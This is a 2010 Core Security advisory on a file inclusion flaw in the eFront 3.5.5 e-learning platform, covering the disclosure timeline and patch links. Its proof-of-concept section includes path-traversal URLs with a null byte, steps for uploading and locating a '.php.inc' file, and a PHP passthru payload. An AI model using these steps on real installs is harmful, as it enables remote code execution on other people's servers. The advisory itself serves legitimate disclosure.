Core Security Technologies Advisory 2010.0311

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Core Security Technologies - CoreLabs Advisory  
http://www.coresecurity.com/corelabs/  
  
eFront-learning PHP file inclusion vulnerability  
  
  
  
1. *Advisory Information*  
  
Title: eFront-learning PHP file inclusion vulnerability  
Advisory Id: CORE-2010-0311  
Advisory URL:  
http://www.coresecurity.com/content/efront-php-file-inclusion  
Date published: 2010-03-16  
Date of last update: 2010-03-16  
Vendors contacted: Vendor name  
Release mode: Coordinated release  
  
  
2. *Vulnerability Information*  
  
Class: PHP file inclusion [CWE-98]  
Impact: Code execution  
Remotely Exploitable: Yes  
Locally Exploitable: No  
Bugtraq ID: N/A  
CVE Name: N/A  
  
  
3. *Vulnerability Description*  
  
eFront [1] is an easy-to-use, open source and object-oriented  
multilingual eLearning platform that can be used to build learning  
communities, educate and retain the end-users.  
  
eFront is vulnerable to local file inclusion vulnerability, which  
allows an external remote attacker to upload an arbitrary file and  
execute code on the vulnerable website learning platform.  
  
  
4. *Vulnerable packages*  
  
. eFront v3.5.5.  
. Older versions are probably affected too, but they were not checked.  
  
  
5. *Non-vulnerable packages*  
  
. eFront v3.6.  
  
  
6. *Vendor Information, Solutions and Workarounds*  
  
We have issued a patch that addresses this problem, as well as a new  
eFront 3.5.5 bundle that includes the fix.  
  
. Link to the patch:  
http://sourceforge.net/projects/efrontlearning/files/efront_3.5.x_editor_security_patch.zip/download.  
  
. Link to the corresponding forum announcement and discussion:  
http://forum.efrontlearning.net/viewtopic.php?f=15&t=1945.  
. Link to the corresponding web site announcement:  
http://www.efrontlearning.net/product/efront-news/265-important-security-fix.html.  
  
  
  
7. *Credits*  
  
This vulnerability was discovered and researched by 7safe's  
Penetration Testing Team, [2].  
  
  
8. *Technical Description / Proof of Concept Code*  
  
eFront-learning is vulnerable to local file inclusion vulnerability.  
The file 'language.php' located in  
'/www/editor/tiny_mce/langs/language.php' has the following code:  
  
/-----  
include_once $path."language/lang-".$_GET['langname'].".php.inc";  
- -----/  
Thus any arbitrary file can be included, using the following attack  
vector:  
  
/-----  
http://192.168.xxx.xxx/efront/www/editor/tiny_mce/langs/language.php?langname=a/../../../../../../boot.ini%00  
- -----/  
Magic quote must be disabled for successful inclusions of files with  
extensions other than '.php.inc'.  
  
Further, the software allows files with extension '.php.inc' to be  
uploaded on to the server. These files can be uploaded as a user in  
student role via 'send-message' functionality (attaching a file with  
extension '.php.inc').  
  
/-----  
http://192.168.xxx.xxx/efront/www/forum/new_message.php  
- -----/  
The attached document gets saved in directory:  
  
/-----  
/wwwroot/www/efront/upload/[username]/message_attachments/Sent/[timestamp]/  
- -----/  
The value of the directory name '[timestamp]' can be calculated by  
passing the date/time of the message sent (can be found in  
'Tools->Messages->Sent functionality') as the input parameters to the  
PHP function 'mktime()'. For example, 'echo mktime(18, 15, 29, 2, 22,  
2010)' gives us 1266862529.  
  
Once the file location of the uploaded file has been obtained, then  
remote code can be executed on the vulnerable website by including  
this malicious file:  
  
/-----  
http://localhost:81/efront/www/editor/tiny_mce/langs/language.php?langname=../../../../upload/student/message_attachments/Sent/1266862529/malicious.php.inc%00  
- -----/  
If the malicious file 'malicious.php.ini' would contain following code:  
  
/-----  
<?php  
passthru("net users");  
?>  
  
- -----/  
Attacker will be able to enumerate users on target machine.  
  
  
9. *Report Timeline*  
  
. 2010-03-11:  
Core Security Technologies notifies the eFront team of the vulnerability.  
  
. 2010-03-12:  
The eFront team asks Core for a technical description of the  
vulnerability.  
  
. 2010-03-12:  
Technical details sent to eFront team by Core. Core notifies that the  
flaw was probably fixed in eFront v3.6 (publicly available).  
  
. 2010-03-12:  
eFront team confirms the flaw was fixed in v3.6 and they will issue a  
patch for versions 3.5.5 and below. eFront team also notifies the  
patches for old version will be available next Monday, 2010-Mar-15.  
  
. 2010-03-12:  
Core announces its plan to publish the advisory on March 16th, 2010.  
  
. 2010-03-12:  
The eFront team notifies that are in agreement with the proposed  
disclosure date.  
  
. 2010-03-15:  
The eFront team notifies that they have issued a patch that addresses  
the problem, as well as a new efront 3.5.5 bundle that includes the  
fix (See section 6).  
  
. 2010-03-16:  
The advisory CORE-2010-0311 is published.  
  
  
  
10. *References*  
  
[1] http://www.efrontlearning.net/.  
[2] http://www.7safe.com/.  
  
  
11. *About CoreLabs*  
  
CoreLabs, the research center of Core Security Technologies, is  
charged with anticipating the future needs and requirements for  
information security technologies. We conduct our research in several  
important areas of computer security including system vulnerabilities,  
cyber attack planning and simulation, source code auditing, and  
cryptography. Our results include problem formalization,  
identification of vulnerabilities, novel solutions and prototypes for  
new technologies. CoreLabs regularly publishes security advisories,  
technical papers, project information and shared software tools for  
public use at: http://www.coresecurity.com/corelabs.  
  
  
12. *About Core Security Technologies*  
  
Core Security Technologies develops strategic solutions that help  
security-conscious organizations worldwide develop and maintain a  
proactive process for securing their networks. The company's flagship  
product, CORE IMPACT, is the most comprehensive product for performing  
enterprise security assurance testing. CORE IMPACT evaluates network,  
endpoint and end-user vulnerabilities and identifies what resources  
are exposed. It enables organizations to determine if current security  
investments are detecting and preventing attacks. Core Security  
Technologies augments its leading technology solution with world-class  
security consulting services, including penetration testing and  
software security auditing. Based in Boston, MA and Buenos Aires,  
Argentina, Core Security Technologies can be reached at 617-399-6980  
or on the Web at http://www.coresecurity.com.  
  
  
13. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2010 Core Security  
Technologies and (c) 2010 CoreLabs, and may be distributed freely  
provided that no fee is charged for this distribution and proper  
credit is given.  
  
  
14. *PGP/GPG Keys*  
  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
  
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